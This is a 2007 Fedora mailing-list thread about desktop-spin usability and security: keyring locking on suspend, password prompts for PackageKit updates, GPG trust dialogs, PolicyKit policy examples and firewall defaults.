On Mon, 20 Aug 2007 14:28:20 -0400 "Colin Walters" walters@redhat.com wrote:

Right; this is the real solution to the stolen-laptop problem and I'm all for it!

Except if your session was logged in when it got stolen (seen those commercials about the pretty girl in the coffee shop? (: ). This is why I want some sort of session timeout (other than the screensaver) on how long these things sit unlocked for you to access them.

On 8/20/07, Bill Peck bill@pecknet.com wrote:

On 8/20/07, Jesse Keating jkeating@redhat.com wrote:

...

On Mon, 20 Aug 2007 14:28:20 -0400 "Colin Walters" walters@redhat.com wrote:

...

Right; this is the real solution to the stolen-laptop problem and I'm all for it!

Except if your session was logged in when it got stolen (seen those commercials about the pretty girl in the coffee shop? (: ). This is why I want some sort of session timeout (other than the screensaver) on how long these things sit unlocked for you to access them.

RFID ring that you wear ;-) When your ring is out of range for the laptop to read it locks your gnome keyring. ;-)

ok.. so it doesn't help if you don't have the ring or a laptop which can read rfid.. darn.

Was playing with this over the weekend. http://blueproximity.sourceforge.net/

Not uber secure being based on bluetooth, but a neat concept.

Jon

On Mon, 20 Aug 2007 14:55:29 -0400 "Colin Walters" walters@redhat.com wrote:

Hm. So we have right now three "I'm leaving the computer" buttons. One called "Suspend", one called "Hibernate", and one called "Lock Screen". Differentiating between the first two is an unrelated bug, so that leaves us with Suspend and Lock screen. Why not just suspend (and save lots of power), and on un-suspend, you display the password prompt?

Then you can change things so that if the system doesn't get a password response from unsuspend within say 2-3 minutes it shuts down, leaving all the /home or / or whatever encrypted with nothing running.

That might be doable for the coming back from suspend case.

I don't suspend when walking away because I don't want my wireless to drop, I don't want to have to re-login to say t-mobile hot-spot, I don't want to dance my little dance with apps thinking "Oh! NM is reconnected, I can re-establish all my connections again" when the vpn isn't ready yet, or t-mobile hasn't let me to the real Internet yet so I have to fix all the 'connection lost' or wait for stupid ass timeouts to return.

Relying on a lock screen is fine, but we still make that optional. We should timeout the keyrings no matter what after a period of inactivity. If they're re-unlocked via a locked screen unlock great, otherwise throw up a "Session timeout" passphrase box before allowing anything else to happen.

(maybe I'm too far off in the weeds...)

On Mon, 2007-08-20 at 15:18 -0400, Colin Walters wrote:

On 8/20/07, Jesse Keating jkeating@redhat.com wrote:

    I don't suspend when walking away because I don't want my
    wireless to
    drop, I don't want to have to re-login to say t-mobile
    hot-spot, 

Yeah, sigh...these wifi browser prompts completely destroy the user experience for so many applications. My personal favorite is starting Firefox, clicking "Resume session" and getting 15 redirected login tabs.

Long term I hope we can figure out some way to make that suck less. I don't have any good ideas right now about how to detect the situation initially.

Devicescape-like for GNOME? http://www.devicescape.com

That said though, maybe if we only suspend for say the time it takes to go to the bathroom (~2 minutes) it might not toss you back at that prompt. I'm not sure how that works - if it authorizes your MAC address for X minutes or whether it's "DHCP request implies prompt". In the latter case we might be able to fix NetworkManager to save its DHCP lease if it's within the lease time still and not do another request on unsuspend if it's the same network.

It still needs the WEP key (unset on suspend) to resume. And gnome-screensaver should probably unlock the keyring if it can.

On 8/20/07, seth vidal skvidal@fedoraproject.org wrote:

okay - so I understand that this is targeted for laptops and home machines - but for people running fedora and/or rhel in a lab/classroom this won't fly at all. Having 2 or 3 people logged in and switched is fine. Having 500-1000 switched out won't work very well at all.

Definitely, we need a way for administrators to make the "I'm leaving the computer" button be "logout". Actually...looking at the panel GConf this already exists. All the desktop spin needs to do is set /apps/panel/global/disable_log_out to true as a first step. Next, also set disable_lock_screen and make sure we lock screen from unsuspend.

On Mon, 20 Aug 2007 15:02:37 -0400 David Zeuthen davidz@redhat.com wrote:

FWIW, for the first few weeks in Rawhide after F7 IIRC, gnome-power-manager used to lock your keyring when resuming after suspend. Most people *hated* it. I think you can still turn it on via gconf however, yup, it's

/apps/gnome-power-manager/lock/gnome_keyring_hibernate /apps/gnome-power-manager/lock/gnome_keyring_suspend

with the explanation

Whether the GNOME keyring is locked before the computer enters suspend. This means the the keyring will have to be unlocked on resume.

Personally, I thought it was a horrible feature.

I'm OK with it being locked, if the unlocking the screen saver also unlocks the keyring, and if there is no screen saver that we timeout the keyring anyway without activity. It would be just like sudo, which if you haven't entered your passphrase in a while you get prompted for it again.

On 8/20/07, David Zeuthen davidz@redhat.com wrote:

So, like it or not, we simply need to engineer the security of the operating system such that untrusted code running in your desktop session can do as little harm as possible.

Ok we're pretty far afield here but I don't disagree with anything you're saying here - all that work would help - but it doesn't change my opinion that by far the biggest bang for the buck in terms of security is making sure we get updates as painlessly (well tested etc.) as possible. And hence, that's why we should not have any password prompts for updating.

David Zeuthen wrote:

combined with the PackageKit work Richard is doing

http://hughsient.livejournal.com/32948.html

Going on a tangent, what's the plan with PackageKit in Fedora? How does it interact with Pirut and friends?

Rahul

On Tue, 2007-08-21 at 07:58 -0400, seth vidal wrote:

On Tue, 2007-08-21 at 14:00 +0530, Rahul Sundaram wrote:

...

David Zeuthen wrote:

...

combined with the PackageKit work Richard is doing

http://hughsient.livejournal.com/32948.html

Going on a tangent, what's the plan with PackageKit in Fedora? How does it interact with Pirut and friends?

Given what I've read it doesn't. It's an entirely parallel structure to do installations/updates of packages. And given the feature set that Richard seems to want it will do these things mostly passwordless.

I think the assumption that PackageKit should be in fedora is a bad one at the present time. It's got a long way to go and honestly, given the features it wants to support might be a problem for inclusion at all.

A couple of things

- AFAIK there's plenty of UI package management tools besides pirut in the FPC and that's fine. Diversity, all that stuff.

- When you say "should be fedora" [sic] do you mean "PackageKit should not be in Fedora Package Collection or "default in mainline Fedora"? I believe it's the latter thought I can't tell cuz you're being ambiguous. Please avoid doing that, thanks.

- Note that "default in mainline Fedora" doesn't preclude the desktop spin from using PackageKit instead of Pirut.

If you think about it, that's kinda of the _point_ of the desktop spin; to change the defaults from mainline Fedora to optimize the experience for a narrow set of people.

- No-one says that PackageKit is ready for inclusion at all, all people, like me, say is that it's looking promising in terms of dealing with things that other projects, like Pirut, just choose to regard as non-issues / ignore.

David

On Tue, 2007-08-21 at 13:48 -0400, seth vidal wrote:

This might be a tonal issue - but you sound like a jerk when you say things like the above. You come off as fairly arrogant and unnecessarily sarcastic. It's off-putting.

Sorry, but I overreacted because I was (and still is) slightly annoyed about the tone your message that I replied to. I'll try to be more diplomatic in the future.

What I meant is given the set of features PackageKit wants to have I do not think it is a good idea and will probably be confusing if both it and Pirut are included by default in a fedora install.

No one is proposing that; that would be like installing two web browsers in a default install.

...

• No-one says that PackageKit is ready for inclusion at all, all people, like me, say is that it's looking promising in terms of dealing with things that other projects, like Pirut, just choose to regard as non-issues / ignore.

good. glad to hear that. I think PackageKit is chasing us part way down a blind alley, but that's one of the options available to fedora. My saying 'I think this is a blind alley' is an option available to me.

You are entitled to your opinion. But also respect that people doing spins / livecd's are entitled to selecting the packages they want. Personally, I think that's a good thing.

David

On 8/21/07, David Zeuthen davidz@redhat.com wrote:

• Note that "default in mainline Fedora" doesn't preclude the desktop spin from using PackageKit instead of Pirut.

Hmm. That seems like a really big change to be making from mainline in a spin. I think a good goal for spin changes is to think hard about putting in changes that we do want to go down into the OS in general. For example one thing I heard people mentioning about the desktop spin is system activation; it doesn't seem to me there's a reason that couldn't be prototyped in the context of Fedora in general. I can't claim I understand exactly how yum/pirut/packagekit etc. interact but I feel like it's that level of OS change where things have to be coordinated.

It feels to me that for the desktop spin we can focus on the original subject here of "low hanging fruit" and get a lot out of that.

On 8/21/07, David Zeuthen davidz@redhat.com wrote:

Hey, let's not get carried away; this is not a OS-level change, it's, in effect, simply just another UI frontend for yum, not much different from pirut/pup, yumex, whatever except that it's designed to solve the problem in a much nicer way (at least some of us think) both from a technical point and an user experience point of view. There's no reason to fear change.

Ok, fair enough then. You'd be the first to accuse me of fearing change! =)

Hi, I usually lurk here. I think this Desktop spin is a very fine idea. Finally people are thinking about the final user experience.

On Ter, 2007-08-21 at 19:23 -0400, seth vidal wrote:

...

From a technical point it doesn't solve the problem in a different way

at all. I've been helping Richard with scripts to backend packagekit with yum and the scripts are extremely simple. To be clear - some of the user experience items are really just papering over the security questions and hoping no one notices that right now PackageKit is the equivalent of:

yum -y do_whatever_just_be_quiet_about_it.

As far as I understood from Richard's blog your comparison here is very superficial. For instance, if you do that on an xterm and then for some reason your X crashes, or you log out because you forgot about it, yum will crash too, and leave you RPM db hosed. PackageKit is supposed to continue working even without anyone logged in. It allows a "fire and forget" asynchronous action. Besides, it should allow integration with the preferred applications metric from the online-desktop so people can have a simple way to choose a new app to install without having to understand all the package names etc. I don't think any of the standard yum tools allows this.

More generally, I think that all these new *Kit daemons as well as HAL, NM, and D-Bus, that enables them all, are urgently needed for a much more organic and dynamic desktop experience which has humans controlling their computer and not the other way around. Kudos to everyone working on them!

Rui

On 8/21/07, seth vidal skvidal@fedoraproject.org wrote:

On Tue, 2007-08-21 at 14:34 -0400, David Zeuthen wrote:

...

On Tue, 2007-08-21 at 14:04 -0400, Colin Walters wrote:

...

On 8/21/07, David Zeuthen davidz@redhat.com wrote:

    - Note that "default in mainline Fedora" doesn't preclude the
    desktop
       spin from using PackageKit instead of Pirut.

Hmm. That seems like a really big change to be making from mainline in a spin. I think a good goal for spin changes is to think hard about putting in changes that we do want to go down into the OS in general.

Hey, let's not get carried away; this is not a OS-level change, it's, in effect, simply just another UI frontend for yum, not much different from pirut/pup, yumex, whatever except that it's designed to solve the problem in a much nicer way (at least some of us think) both from a technical point and an user experience point of view. There's no reason to fear change.

...

From a technical point it doesn't solve the problem in a different way

at all. I've been helping Richard with scripts to backend packagekit with yum and the scripts are extremely simple. To be clear - some of the user experience items are really just papering over the security questions and hoping no one notices that right now PackageKit is the equivalent of:

yum -y do_whatever_just_be_quiet_about_it.

I have a *strong* opinion here that it's *never*, *ever* right to ask the user a question when installing or removing a package. A question is going to be of the form:

A) This operation may trash your system [detail that the user doesn't understand removed]. Proceed?

B) The package that you are installing might be created by an evil haxor and do bad things [details that the user doesn't understand removed]. Proceed?

The user has no basis on which to make the decisions, and all you've done is created some coverage for yourself when they continue anyways and bad things happen. And when I say "the user doesn't understand", I'm not being dismissive of some imaginary naive, clueless user. *I* almost never understand the details in such cases.

I do think it's important for something like PackageKit to return maximally descriptive error messages to the user; I was quite concerned when I saw Richard post that everything had to be turned into an error enum in PackageKit so that the translation could be done in the front end. I think that's just wrong, and you always want error message *strings* to be part of the system, translated at the source when applicable.

[ The above obviously neglects the type of question like "installing this package is going to result in installing OpenOffice.org, and downloading 300megs of extra packages, taking 3 hours, proceed? Which is legitimate to ask the user. I think that type of question, is, however, generic enough to be part of a system like PackageKit ]

On 8/22/07, seth vidal skvidal@fedoraproject.org wrote:

I'm a little bothered that you're picking and choosing which questions you think users can answer. I think users can intelligibly understand statements about gpg keys. The difference here is that I'm assuming that users are smarter and/or capable of using google to understand what's going on.

I'm perfectly willing to concede that user are *able* to understand these messages if they take the time. They probably have a college degree, assemble furniture with cryptic instructions translated from Japanese, and file their taxes every April. But what I don't concede is that they *want to* understand these messages or *will bother* to understand these messages.

I see no value training up our users to understand how to import GPG keys into RPM. Our users should be spending their brain cells designing bridges and curing cancer. (And maybe buying shoes on Ebay too). Our job is to make package installation not consume those brain cells.

This has all strayed off pretty far into theory-land. Maybe you can give a concrete example of a concrete case (starting with why the user is in the GUI tool to begin with) of when a user needs to be asked a yum-specific question when interacting with a GUI tool?

- Owen

On Wed, 2007-08-22 at 12:34 -0400, seth vidal wrote:

• import a gpg key from a repo so they can install a package.

... which is an interesting and very technical way of describing trust. Which I think it is about, yes? E.g. asking whether a software provider should be trusted.

Deciding to trust someone is of course important. Assuming only Fedora repos are used (e.g. fedora, fedora-updates, whatever), people wouldn't see this anyway, right?

So I just tried with yum

warning: rpmts_HdrFromFdno: Header V3 DSA signature: NOKEY, key ID a109b1ec Importing GPG key 0xA109B1EC "Livna.org rpms rpm-key@livna.org" from /etc/pki/rpm-gpg/RPM-GPG-KEY-livna Is this ok [y/N]: y

which, I guess, is perfectly fine for a tool designed for system administrators.

(Except, maybe yum should specifically mention that this is about setting up a trust relationship, then again, it's probably fine to assume the person seeing this knows that is what it means.)

However, wouldn't it be possible to phrase the question to the user in a way where GPG keys are not mentioned at all? For example

+-------------------------------------------------------------------+ | Do you trust "Livna.org rpms rpm-key@livna.org?" | | | | The software you are trying to install comes from an source | | that can't be verified. <insert lecture about why installing | | untrusted software is bad, what trust is, how to verify, what | | to do etc.> | | | | [Cancel] [I trust this provider] | | | | > Details (GtkExpander) | +-------------------------------------------------------------------+

The details might include techno-babble like the GPG key finger print (probably should) but it could also integrate with existing desktop-specific GPG software, e.g. Seahorse which, IIRC, already have some way of examining trust relationships.

Also, the details bit could be made useful; we could try to determine what contacts of yours actually trust this provider (online desktop, social networking); we could look up on your online account if you've decided to trust this provider before so your computer can avoid asking you again the next time you are on a different system. Web of trusts, etc.

These are just some thoughts. Dialogs and questions like these are always difficult (my example above is already too verbose).

(Another technical tidbit: RPM's GPG keys are tied to the system so when one user is deciding to import a GPG (aka. start trusting a software provider) it affects all users on that. Maybe the dialog need to makes that clear too.)

• verify that the set of things they are asking to

install/remove/obsolete is what they _really_ want to do.

I honestly think such users should just use the system administrator tool, e.g. yum(1). But sure, we could work this into the UI but am unsure it's a good idea. Do you have any concrete examples from the history of the stable Fedora Package Collection where this is relevant?

• let them know they need to reboot/logout/restart-some-program in order

to have these changes take effect.

We need this. I don't expect it to be difficult to do either.

David

On Wed, 2007-08-22 at 19:37 +0200, dragoran wrote:

On 8/22/07, David Zeuthen davidz@redhat.com wrote:

    (Another technical tidbit: RPM's GPG keys are tied to the
    system so when
    one user is deciding to import a GPG (aka. start trusting a
    software
    provider) it affects all users on that. Maybe the dialog need
    to makes 
    that clear too.)

that is a reason for asking for the root password , everything else is nothing but a security hole if a non root user can set system defaults like this.

Yeah, it's probably a good idea to ask for an administrator to authenticate to do this. With mainline Fedora this would be asking for the root password; for other spins it might asking a user in e.g. 'wheel' to authenticate.

David

On Wed, 2007-08-22 at 13:47 -0400, Jon Nettleton wrote:

which reminds me. wouldn't it make sense to at UGROUPS=wheel to our /etc/security/console.apps/ files? The functionality has been around for years now and never used because it was getting replaced.

I'd much rather see us stop shipping X11 applications that run as root and, for that matter, consolehelper too. At least in the default install.

(That said, I've been toying around with writing a consolehelper replacement using PolicyKit; it's not a lot of work and the immediate benefit is that you can use the /etc/PolicyKit/PolicyKit.conf mechanism to control access; the most immediate benefit being the "fire-and-forget" feature that you get with the remember authorization check boxes.)

David

On 22/08/07, Owen Taylor otaylor@redhat.com wrote:

Well, in general terms, if the PackageKit API doesn't provide enough richness to provide the right interaction, it needs to be improved. Certainly verification of what is going to happen makes sense to me as part of that API. Rebooting / logout / restarting has to be handled as well (though you can't tell the user, "I upgraded libglib, please restart all apps you are using that depend upon it")

Yup, I'm working on that now.

Richard.

On 8/22/07, Jesse Keating jkeating@redhat.com wrote:

On Wed, 22 Aug 2007 10:18:52 -0400 "Owen Taylor" otaylor@redhat.com wrote:

...

I have a *strong* opinion here that it's *never*, *ever* right to ask the user a question when installing or removing a package. A question is going to be of the form:

A) This operation may trash your system [detail that the user doesn't understand removed]. Proceed?

B) The package that you are installing might be created by an evil haxor and do bad things [details that the user doesn't understand removed]. Proceed?

For me it's not asking the users these questions, it's asking the user for their password to proceed (with a timeout). OSX does this, and we seem to base a lot of our "good usability" on what they do. If a friend wants to just look at their web mail, why should they switch users to a guest account? Why can't I just hand them the laptop and let them use the already running browser? If something popped up to install software I don't want them to be able to just have it happen, I want the password prompt to show up so that if they aren't me, or weren't me that provided a password in the last 5 minutes, I don't want them to be able to do it. I don't think this is unreasonable as a default everywhere. It's just like we made the local user(s) sudo enabled and rely upon that sudo mechanism to accomplish system level tasks.

The other half of this is it should not just be the users password that is acceptable. We need to make sure an admin can sit down at a machine and perform these operations without mucking around with profiles or switch terminals. This functionality is becoming more and more necessary, where children have a restricted desktop. We want to make it very easy for parents (admins) to install a new game for their kids in a straight forward manner.

On Wed, 2007-08-22 at 10:34 -0400, Jesse Keating wrote:

For me it's not asking the users these questions, it's asking the user for their password to proceed (with a timeout). OSX does this, and we seem to base a lot of our "good usability" on what they do.

If a friend wants to just look at their web mail, why should they switch users to a guest account? Why can't I just hand them the laptop and let them use the already running browser?

Because you don't want your auto completion / browser history (e.g. porn), already existing sessions (banks, social networks, gmail, other sites) made available to your friends?

If something popped up to install software I don't want them to be able to just have it happen, I want the password prompt to show up so that if they aren't me, or weren't me that provided a password in the last 5 minutes, I don't want them to be able to do it.

So on one hand you want to give your friend access to your *entire* browser history / cookies etc. and on the other hand you will not give them access to install packages from your already configured repositories?

Anyway, one criticism I've heard about this whole thing is that it's "passwordless" and that's just not true unless you want it to be that way. So the defaults for PackageKit in *mainline Fedora* should probably be

pkgkit.update.signed.packages -> auth_admin_keep_always - meaning you need to auth as root [1] and there's a fire-and-forget "always remember this privilege" checkbox in the auth dialog)

pkgkit.update.unsigned.packages -> auth_admin - meaning you need to auth as root, this privilege cannot be kept

pkgkit.install.signed.packages -> auth_admin_keep_always - meaning you need to auth as yourself and there's a fire-and-forget "always remember this privilege" checkbox)

pkgkit.install.unsigned.packages -> auth_admin - meaning you need to auth as root, privilege cannot be kept.

This can be customized through /etc/PolicyKit/PolicyKit.conf. For example, I envision we ship with this a configuration file that always prevents the guest account from doing this. In addition, the desktop spin will probably be passwordless for pkgkit.update.signed.packages or whatever we decide - doing this is achieved simply by editing PolicyKit.conf in the %post of the live cd creator. It's that simple really.

FWIW, any administrator can go in and change this as they see fit. For example, I can add

<match action="pkgkit.*"> <return result="auth_admin"/> </match>

to specify that all interactions with PackageKit always should ask for the root password and that the privilege can't be retained. Or I can do this

<match action="pkgkit.*"> <match user="davidz|jkeating"> <return result="yes"/> </match> <return result="no"/> </match>

to specify that users davidz and jkeating can use PackageKit without using a password and no one else can even attempt to auth for this. So it's pretty flexible as you can see. See the man page for PolicyKit.conf for details.

David

[1] : unless you configure PolicyKit to act as a sudo-ish system and defines administrator authentication as "anyone from group wheel will do".

Le mercredi 22 août 2007 à 11:47 -0400, Colin Walters a écrit :

On 8/22/07, Jesse Keating jkeating@redhat.com wrote: If something popped up to install software

What would pop up to install new software?

Helpful apps that want to help you install every pluggin known (including plugins like flash that require a complete 32bit stack on a 64bit system to run)

And why would your friend click it?

Because users have a railroad approach to popups (just click yes)

Wouldn't he or she ask you about it?

Friends don't ask about every popup they click through when they get guest access (or they don't stay friends long)

Also remember - you don't need root or a password to install software to your computer. You just download something that overwrites your ~/.bashrc, puts itself in ~/.config/autostart, or one of many other methods. Like firefox extensions.

Firefox extensions are a security plague and a great example why password-less install is bad in a guest context. I hope with FF3 we can start packaging the useful subset everyone uses as rpms and de-emphasise the FF autodowload

Hello,

I imagine all the talk about this new "spin" is an official spin? I've heard it referred to as a "windows xp/mac os x" style spin. This kind of phrasing doesn't live well in my ears. I left those proprietary blobs to get away from the over-rated usability of these OSes. Is it a good goal for the Fedora project to really adopt a policy to make "Desktop" spin that doesn't introduce the user to tried-and-true security practices like the root account? (thats just one example I've seen listed in this thread) Sure it may make it more easily-adoptable perhaps then slightly more user adoption, but for completely the wrong reasons. Also, I would think it'd be bad if a user downloads the "Desktop" version of Fedora and then decides to try the "Fedora" spin of Fedora and has a completely different user experience. If people want to spend time on a more "user-friendly" spin, I guess more power to them, but certainly a "let's follow windows/mac" mentality shouldn't be the mission statement.

Maybe I don't understand the "Desktop"-distro market, I've always considered my computer more of a workstation.

-Brian

Rahul Sundaram wrote:

Brian Tate wrote:

...

Hello,

I imagine all the talk about this new "spin" is an official spin? I've heard it referred to as a "windows xp/mac os x" style spin. This kind of phrasing doesn't live well in my ears. I left those proprietary blobs to get away from the over-rated usability of these OSes.

The user experience isn't tied to the license or development model.

Really? We need to get Richard Stallman in on this one.

, I guess more power to them,

...

but certainly a "let's follow windows/mac" mentality shouldn't be the mission statement.

I don't see that as a goal in http://fedoraproject.org/wiki/SIGs/Desktop. Did you read?

I guess I was referring more to the talk on the thread, less of the posted on the website content.

Rahul

Brian

On 8/22/07, Brian Tate btatehome@gmail.com wrote:

tried-and-true security practices like the root account?

What is secure about a root account?

On Thu, 2007-08-16 at 13:22 -0400, Jeremy Katz wrote:

...

• good defaults for firewall/selinux/sound cards

Let's go for broke and just try to get the firstboot modules for these removed altogether like we've discussed from time to time. The defaults here are already pretty sane, imho. Okay, maybe we have to leave firewall as we don't have the good way of doing "enable service ==> poke hole" yet. But there's no reason that soundcard and selinux can't be nuked from orbit.

Sounds really good to me. Can't we nuke firewall too? You can run the firewall tool afterward if needed.

Thanks, -Jonathan

On Thu, 16 Aug 2007 14:10:35 -0400 Jeremy Katz katzj@redhat.com wrote:

I'm not against it. The complaint will be that people will just get failures and not have anything to show them why. Maybe we can get the quick change into the default firewall rules so that they'll log failures so that it's not at least entirely silent

+10, that's the most annoying thing to me about our default rules. It's so silent. If we're afraid of it drowning out /var/log/messages we could send it to a firewall log file. But I'm all for dropping these from Firstboot and going with our defaults.

Anybody for firewall2allow? (:

On Fri, 17 Aug 2007 02:30:17 +0100 Bastien Nocera bnocera@redhat.com wrote:

Maybe Lennart can fix it too? :)

Here's an old entry in my bookmarks: http://0pointer.de/lennart/projects/fieryfilter/ http://0pointer.de/lennart/projects/fieryfilter/fieryfilter.png

This probably needs UI love, and use of D-Bus instead of Unix sockets for the admin rights, but the idea is there.

Actually I find these questions to be a net lose. Just like the ssl cert questions in browsers. They're scray questions in languages the user either doesn't understand or just plain doesn't care about. (and no, I don't have a better suggestion to solve the problem)

On Fri, Aug 17, 2007 at 01:44:23PM +0100, Bastien Nocera wrote:

On Fri, 2007-08-17 at 07:47 -0400, Jesse Keating wrote:

...

On Fri, 17 Aug 2007 02:30:17 +0100 Bastien Nocera bnocera@redhat.com wrote:

...

Maybe Lennart can fix it too? :)

Here's an old entry in my bookmarks: http://0pointer.de/lennart/projects/fieryfilter/ http://0pointer.de/lennart/projects/fieryfilter/fieryfilter.png

This probably needs UI love, and use of D-Bus instead of Unix sockets for the admin rights, but the idea is there.

Actually I find these questions to be a net lose. Just like the ssl cert questions in browsers. They're scray questions in languages the user either doesn't understand or just plain doesn't care about. (and no, I don't have a better suggestion to solve the problem)

I was mostly talking about the infrastructure that this provides. and I mentioned the UI needs love. It would allow us to do something like that: http://www.wap.org/journal/security3/firewall.jpg

This looks fairly sensible. From the look of the png above though, it pops up a dialog for every packet that doesn't match the rules? That sounds like a *really* bad idea.

Dave

On Mon, Aug 20, 2007 at 02:07:35AM +0200, Lennart Poettering wrote:

...

This probably needs UI love, and use of D-Bus instead of Unix sockets for the admin rights, but the idea is there.

Fieryfilter used the userspace QUEUE netfilter target to do its work. That sucked big time, because if the user didn't click away his dialogs quick enough the sender would repeat its packet which is difficult to deal with if you don't want to accumulate dialogs for the same packets.

If someone wants to investigate the whole desktop firewall for Linux thing a little more I think it would make more sense to write an LSM module for that kernel that intercepts the socket calls (i.e, accept(), listen(), connect() and friends) and relays them to userspace for a verdict. Would be much cleaner and simpler. And would also be a good excuse to keep LSM in the kernel. ;-)

(Hmm, that could also be integrated with PolicyKit...)

Last time I looked it was difficult to stack LSMs, hence this all is not trivial.

Something that's coming soon is an option to use selinux without LSM (paraphrasing, but it gets the idea across). The stacking ability of LSMs never really worked, and has been removed now afaik. With the removal of LSM, SELinux gets a performance increase, and also removes a bunch of potential attack vectors.

So adding new functionality based on LSM would be a mistake.

Dave

On Fri, 2007-08-17 at 08:40 +0300, Nicu Buculei wrote:

Jonathan Blandford wrote:

...

Might be less low-hanging fruit, but give firstboot a quick look:

• user icon as part of new user creation

But the result of this is that the person choosing the user icon is the administrator, not the user itself so the user will have to change the icon again.

We are talking about the desktop scenario here, where there is no administrator around.

On Fri, 2007-08-17 at 01:52 -0400, seth vidal wrote:

On Fri, 2007-08-17 at 01:51 -0400, Matthias Clasen wrote:

...

On Fri, 2007-08-17 at 08:40 +0300, Nicu Buculei wrote:

...

Jonathan Blandford wrote:

...

Might be less low-hanging fruit, but give firstboot a quick look:

• user icon as part of new user creation

But the result of this is that the person choosing the user icon is the administrator, not the user itself so the user will have to change the icon again.

We are talking about the desktop scenario here, where there is no administrator around.

umm, what?

Lots of machines that are desktops have administrators.

I assume those are not installed from a live cd, though.

The very common use case that we are talking about here is that a machine is being installed from a live cd, by the same person who is going to use this machine afterwards. Most likely this is happening in the living room, not in the cube farm at work.

On Fri, 2007-08-17 at 08:53 +0300, Nicu Buculei wrote:

Matthias Clasen wrote:

...

On Fri, 2007-08-17 at 08:40 +0300, Nicu Buculei wrote:

...

Jonathan Blandford wrote:

...

Might be less low-hanging fruit, but give firstboot a quick look:

• user icon as part of new user creation

But the result of this is that the person choosing the user icon is the administrator, not the user itself so the user will have to change the icon again.

We are talking about the desktop scenario here, where there is no administrator around.

But the user can share the computer with with wife/kids/roommate.